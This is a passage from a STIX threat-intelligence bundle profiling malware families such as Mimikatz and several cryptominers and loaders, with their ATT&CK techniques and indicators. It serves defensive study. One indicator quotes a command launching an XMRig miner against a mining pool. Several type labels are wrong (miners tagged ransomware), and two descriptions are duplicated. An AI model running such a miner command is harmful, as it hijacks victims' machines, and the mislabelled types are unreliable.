      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Milicry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/milicry"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a99edec-368d-5df3-aed1-a6f19fc46392",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22a0360-02b0-5ccd-a818-5218e51e6f23",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Milicry exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb5c34f1-7703-5d35-9126-12d1d0e37c3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22a0360-02b0-5ccd-a818-5218e51e6f23",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Milicry exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2399bc7d-f59a-5a92-9f0c-ff1229ed409c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a22a0360-02b0-5ccd-a818-5218e51e6f23",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Milicry exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75b60e6a-9aa7-510f-b0b4-898b6fc4a406",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mimikatz",
      "description": "Mimikatz (cataloged across security vendors and threat intelligence databases under signatures including HackTool:Win32/Mimikatz, Tool:Win32/Mimikatz, and Hacktool.Mimikatz) is arguably the most famous and influential post-exploitation credential extraction tool in cybersecurity history. Developed in 2011 by French researcher Benjamin Delpy to demonstrate vulnerabilities in Windows authentication architecture, Mimikatz is widely abused by advanced persistent threat (APT) groups, ransomware cartels, and penetration testers worldwide. Operating with administrative or SYSTEM privileges, Mimikatz extracts plaintext passwords, NTLM password hashes, Kerberos tickets, and PINs directly from the Local Security Authority Subsystem Service (LSASS) process memory. Furthermore, Mimikatz can forge Kerberos Golden and Silver Tickets, perform Pass-the-Hash / Pass-the-Ticket attacks, and export certificates from Windows CryptoAPI. (Observed samples in benchmark: 41)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/Mimikatz",
        "Tool:Win32/Mimikatz",
        "Hacktool.Mimikatz",
        "Win32/Mimikatz",
        "Mimikatz Credential Dumper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mimikatz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mimikatz"
        }
      ],
      "labels": [
        "credential_dumper",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9361b36c-37fb-54eb-b57f-f4cf22999457",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mimilove",
      "description": "Trojan:Win32/Mimilove is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mimilove</b><br>To an end-user, a Mimilove infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mimilove is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mimilove is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mimilove frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mimilove reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mimilove",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mimilove"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00594193-2238-5486-9ab7-266f16c2f874",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9361b36c-37fb-54eb-b57f-f4cf22999457",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mimilove exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2d91d78-bdb8-53c8-8d28-e8e867d02a43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9361b36c-37fb-54eb-b57f-f4cf22999457",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mimilove exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01daec35-4141-5fd9-afe7-add7bef5172b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9361b36c-37fb-54eb-b57f-f4cf22999457",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mimilove exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bae14081-2bd2-53d2-bcda-32c71c7e5d0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9361b36c-37fb-54eb-b57f-f4cf22999457",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mimilove exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2403242-08ae-5611-b11d-8aac15024ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9361b36c-37fb-54eb-b57f-f4cf22999457",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mimilove exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ae1f67f-965d-528a-aa8a-c5332861599d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mine",
      "description": "CoinMiner:Win32/Mine (also tracked under generic 'Miner' heuristics) represents a massive class of malware designed to secretly hijack the processing power (CPU and GPU) of infected endpoints to mine cryptocurrency (most commonly Monero) for the financial benefit of the attacker.<br><br><b>Understanding Cryptominers</b><br>To an end-user, the infection manifests as a sluggish, overheating computer with constantly spinning fans and terrible battery life. For a security analyst, unauthorized cryptomining ('Cryptojacking') is a severe resource hijacking event that drastically increases cloud compute costs, wears out hardware, and indicates a critical failure in perimeter security. Attackers frequently use automated worms or exploit internet-facing vulnerabilities to drop miners on hundreds of servers simultaneously.<br><br><b>Execution and Hijacking Mechanics</b><br>Miners are often deployed as secondary payloads by botnets (like Mirai or Sefnit) or via lateral movement using stolen credentials (`T1078`). Upon execution, the payload establishes persistence via WMI event subscriptions (`T1546.003`) or Scheduled Tasks (`T1053.005`). To evade detection, the miner frequently utilizes 'Process Hollowing' (`T1055.012`), injecting the mining engine (often a customized version of the open-source XMRig) into a legitimate Windows process (like `notepad.exe` or `svchost.exe`). The injected process then begins massive mathematical calculations (`T1496`), communicating exclusively via the Stratum protocol (`T1071`) to a remote mining pool to receive work and submit hashes.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme resource degradation, potential hardware failure, and massive electricity/cloud billing spikes. The primary IoC is sustained, 100% CPU/GPU utilization by an unexpected process, or a legitimate process (like `svchost.exe`) consuming massive amounts of CPU without a clear reason. Network logs will reveal persistent outbound connections on unusual ports (like 3333, 4444, or 7777) to known cryptocurrency mining pools. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mine"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6817e97-e062-57f6-bc65-f55d1810a1f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ae1f67f-965d-528a-aa8a-c5332861599d",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mine exhibits technique T1496 (Resource Hijacking (Cryptomining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4f3578c-e8e0-502f-add9-6a9ef2b3696b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ae1f67f-965d-528a-aa8a-c5332861599d",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mine exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44da1106-aef3-5298-a2e6-7cab190b4631",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ae1f67f-965d-528a-aa8a-c5332861599d",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mine exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc9ae169-3365-5d81-bdb0-3e57cfee856c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ae1f67f-965d-528a-aa8a-c5332861599d",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mine exhibits technique T1546.003 (Event Triggered Execution: Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de3f6a67-681c-54e9-8b2d-127c487e22bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Minebicoin",
      "description": "Riskware:Win32/Minebicoin is a heuristic detection representing the widespread threat of 'Cryptojacking'. It flags executables or scripts designed to hijack an endpoint's CPU or GPU resources to mine cryptocurrency (most commonly Monero) without the user's consent or knowledge. While not inherently destructive to data like ransomware, Cryptojacking causes severe hardware degradation, massive power consumption spikes, and significant performance throttling across corporate environments.<br><br><b>Understanding Minebicoin (Cryptojacking)</b><br>To an end-user, the machine suddenly becomes incredibly slow, fans run at maximum speed, and the laptop battery drains rapidly. For an IT administrator, a Minebicoin outbreak looks like a massive, unexplained spike in CPU utilization across the fleet (`T1496`). Threat actors favor cryptojacking because it provides a silent, continuous revenue stream, unlike the noisy, one-time extortion of ransomware.<br><br><b>Execution and Resource Hijacking Mechanics</b><br>Minebicoin variants are delivered via phishing, exploit kits, or bundled with pirated software. They establish persistence using standard methods (Scheduled Tasks, Registry Run keys - `T1547.001`). Upon execution, the malware often injects a specialized mining payload (like a modified version of XMRig) into legitimate system processes (like `svchost.exe` or `notepad.exe`) to hide its CPU usage (`T1055`). It then connects to a mining pool via the Stratum protocol over TCP, constantly receiving hashing jobs and returning the results to enrich the attacker's wallet.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme resource exhaustion and increased electricity/hardware costs. Host-based IoCs are highly visible: Task Manager or EDR will show sustained 90-100% CPU/GPU utilization by unknown or injected processes. Network IoCs are definitive: persistent outbound TCP connections (often to non-standard ports) utilizing the Stratum protocol, communicating with known mining pool IP addresses or domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Minebicoin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/minebicoin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b672aaca-7caa-58ea-828b-5710af23f881",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de3f6a67-681c-54e9-8b2d-127c487e22bc",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minebicoin exhibits technique T1496 (Resource Hijacking (The core cryptomining activity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d34a976f-e673-5fd6-a302-d3fca0b83192",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de3f6a67-681c-54e9-8b2d-127c487e22bc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minebicoin exhibits technique T1055 (Process Injection (Hiding the miner inside legitimate processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c0b2a73-5c07-5a27-94d1-3394d6a22a6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de3f6a67-681c-54e9-8b2d-127c487e22bc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minebicoin exhibits technique T1547.001 (Boot or Logon Autostart Execution (Persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff4c81c7-6c58-598b-95f6-a6131d3263c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Minerbat",
      "description": "Trojan:BAT/Minerbat (or simply Miner.bat) is a classification for extremely simple, script-based cryptojacking malware. Instead of complex compiled executables, Minerbat utilizes basic Windows Batch scripting (`.bat` or `.cmd` files) (`T1059.003`) to download, configure, and execute a command-line cryptocurrency miner (like XMRig or CGMiner) on the victim's machine, stealing their CPU/GPU resources to mine Monero (XMR) or other altcoins (`T1496`).<br><br><b>Understanding Minerbat (Script-based Cryptojacking)</b><br>To an end-user, the computer will suddenly become sluggish, the fans will spin up to maximum speed, and battery life will plummet. For a SOC analyst, Minerbat represents a 'low effort, high reward' attack. The attackers rely on the simplicity of batch scripts to evade complex EDR heuristics, capitalizing on environments that fail to monitor basic command-line execution.<br><br><b>Execution and Mining Mechanics</b><br>Minerbat is often delivered via phishing links, dropped by other malware, or executed via exploited vulnerable services (like an exposed Redis or Tomcat server). Upon execution, the batch script (`T1059.003`) typically uses built-in tools like `bitsadmin`, `certutil`, or PowerShell (`T1105`) to download the actual mining binary (e.g., `xmrig.exe`) and a configuration file containing the attacker's wallet address. It then executes the miner silently in the background, often passing arguments to limit CPU usage to 80% to avoid immediately crashing the system and arousing suspicion. Persistence is usually achieved by adding the batch script to the Startup folder or creating a simple Scheduled Task (`T1053.005`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is hardware wear and tear, significantly increased power consumption, and degraded system performance. Host-based IoCs include EDR alerts for suspicious command-line execution (e.g., `cmd.exe /c start /B xmrig.exe -o pool.hashvault.pro...`), high CPU utilization by unknown or generic executables, and the presence of malicious `.bat` files in user directories or Startup folders. Network IoCs involve continuous outbound traffic (often utilizing the Stratum protocol) over non-standard ports (e.g., 3333, 5555, 14444) to known cryptocurrency mining pools. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Minerbat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/minerbat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--266cab8c-901d-516f-addb-45c3c9281c0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff4c81c7-6c58-598b-95f6-a6131d3263c8",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbat exhibits technique T1496 (Resource Hijacking (The primary objective: stealing CPU/GPU for mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f73b3dbc-cbba-5897-9743-56edb30af796",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff4c81c7-6c58-598b-95f6-a6131d3263c8",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Using batch scripts for execution and setup))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b05881eb-bb10-5e24-80b3-7fed1a670409",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff4c81c7-6c58-598b-95f6-a6131d3263c8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbat exhibits technique T1105 (Ingress Tool Transfer (Downloading the mining binary via command line))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--11302288-0ecc-55ce-b12a-7b540e15c865",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Minerbot",
      "description": "Trojan:Win32/Minerbot (often a generic detection for **Cryptojacking Botnets**) represents a massive class of malware whose sole purpose is to silently hijack the computing resources (CPU and GPU) of infected endpoints to mine cryptocurrency (most commonly Monero/XMR) for the attacker. While it does not typically steal data, Minerbot infections cause severe physical strain on hardware and massive electricity costs for enterprises.<br><br><b>Understanding Minerbot Cryptojackers</b><br>To an end-user, a Minerbot infection manifests as extreme system sluggishness, loud laptop fans, and battery drain, even when the computer is idle. For a security analyst, it represents a breach of network integrity and a significant financial drain. Unlike ransomware, which announces its presence, Minerbots strive for absolute stealth, aiming to mine indefinitely without detection.<br><br><b>Execution and Mining Mechanics</b><br>Minerbots are distributed via a wide variety of vectors, including malspam (`T1566.001`), exploit kits, and frequently by exploiting unpatched public-facing vulnerabilities (like Apache Log4j or vulnerable web servers) (`T1190`). Upon execution, the malware establishes persistence (often via Scheduled Tasks) (`T1053.005`) and downloads a specialized mining payload, frequently a modified version of the open-source XMRig miner. To evade detection, the malware injects the mining code into legitimate processes like `svchost.exe` or `notepad.exe` (`T1055`). Advanced variants monitor task manager execution; if the user opens Task Manager, the miner temporarily pauses to hide the CPU spike (`T1562.001`). The bot communicates with a mining pool via the Stratum protocol (often over TCP port 3333 or 14444) to receive hashing work and submit completed shares (`T1071`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is resource exhaustion, hardware degradation, and increased operational costs. The most prominent host-based IoC is a sustained 100% CPU or GPU utilization by an unusual or injected process (like `svchost.exe` running under a user context instead of SYSTEM). Network analysts should look for sustained outbound traffic using the Stratum protocol to known cryptocurrency mining pools (e.g., MineXMR, SupportXMR). (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Minerbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/minerbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec1ea56b-54bd-51ca-bcaa-d0227dd96435",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11302288-0ecc-55ce-b12a-7b540e15c865",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbot exhibits technique T1496 (Resource Hijacking (Cryptocurrency Mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--306bc793-eae6-5d90-8070-c5ed53c4a26c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11302288-0ecc-55ce-b12a-7b540e15c865",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbot exhibits technique T1055 (Process Injection (Hiding the miner in legitimate processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c51553ed-cbbc-520a-b0d7-b0812f40ca9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11302288-0ecc-55ce-b12a-7b540e15c865",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbot exhibits technique T1071 (Application Layer Protocol (Stratum protocol communication with mining pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67c1b38f-0ccb-5587-9cde-de0093a81735",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--11302288-0ecc-55ce-b12a-7b540e15c865",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minerbot exhibits technique T1190 (Exploit Public-Facing Application)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2328e648-2233-5517-865e-794f1af8836c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Minggy",
      "description": "Trojan:Win32/Minggy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Minggy</b><br>To an end-user, a Minggy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Minggy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Minggy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Minggy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Minggy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Minggy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/minggy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00bb702a-b275-53b4-a4c4-7da7fd8ceb14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2328e648-2233-5517-865e-794f1af8836c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minggy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca6a7426-d95a-5f86-af87-830c7b098716",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2328e648-2233-5517-865e-794f1af8836c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minggy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7b7d639-79ef-5545-96a5-75580b7d3530",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2328e648-2233-5517-865e-794f1af8836c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minggy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
